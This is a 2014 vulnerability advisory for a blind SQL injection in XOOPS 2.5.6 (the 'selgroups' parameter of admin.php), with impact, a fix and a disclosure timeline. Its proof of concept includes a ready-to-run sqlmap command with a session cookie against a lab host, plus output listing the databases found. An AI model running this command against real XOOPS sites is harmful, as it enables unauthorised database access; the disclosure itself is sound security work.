what you don't know can hurt you

XOOPS 2.5.6 SQL Injection

XOOPS 2.5.6 SQL Injection
Posted Nov 17, 2014
Authored by Manuel Garcia Cardenas

XOOPS versions 2.5.6 and below suffer from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 7e8d6fb35bb4550056d89687e3d949395cac3d5592aa50668bdc98d676e39a06

XOOPS 2.5.6 SQL Injection

Change Mirror Download
=============================================
MGC ALERT 2014-003
- Original release date: March 6, 2014
- Last revised: November 18, 2014
- Discovered by: Manuel Garcia Cardenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Blind SQL Injection in XOOPS <= 2.5.6

II. BACKGROUND
-------------------------
XOOPS is an acronym of "eXtensible Object Oriented Portal System". Though
started as a portal system, it later developed into a web application
framework. It aims to serve as a web framework for use by small, medium and
large sites, through the installation of modules.

III. DESCRIPTION
-------------------------
It is possible to inject SQL code in the variable "selgroups" on the page
"admin.php". This bug was found using the portal with authentication. To
exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

IV. PROOF OF CONCEPT
-------------------------
The following URL's and parameters have been confirmed to all suffer from
Blind SQL injection.

/xoops/htdocs/modules/system/admin.php?fct=users&selgroups=1

Exploiting with SQLMap:

python sqlmap.py -u "
http://192.168.244.129/xoops/htdocs/modules/system/admin.php?fct=users&selgroups=1"
--cookie="PHPSESSID=kjrjempn828cgrv6k8tjp4fs60;xoops_user=0" -p
"selgroups" --technique=TB --dbs

[INFO] POST parameter 'selgroups' is 'MySQL > 5.0.11 AND time-based blind
(comment)' injectable
[INFO] POST parameter 'selgroups' is 'OR boolean-based blind - WHERE or
HAVING clause (MySQL comment)' injectable

[INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5
[INFO] fetching database names
[INFO] fetching number of databases
[INFO] resumed: 4
[INFO] resumed: information_schema
[INFO] resumed: mysql
[INFO] resumed: phpmyadmin
[INFO] resumed: xoops
available databases [4]:
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] xoops

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
XOOPS <= 2.5.6

VII. SOLUTION
-------------------------
Update to version 2.5.7

VIII. REFERENCES
-------------------------
http://xoops.org/
http://xoops.org/modules/news/article.php?storyid=6658

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
January 21, 2014 1: Initial release

XI. DISCLOSURE TIMELINE
-------------------------
March 5, 2014 1: Vulnerability acquired by Manuel Garcia Cardenas
March 5, 2014 2: Send to vendor
June 17, 2014 3: New version that includes patched code
http://xoops.org/modules/news/article.php?storyid=6658
November 18, 2014 4: Sent to lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester


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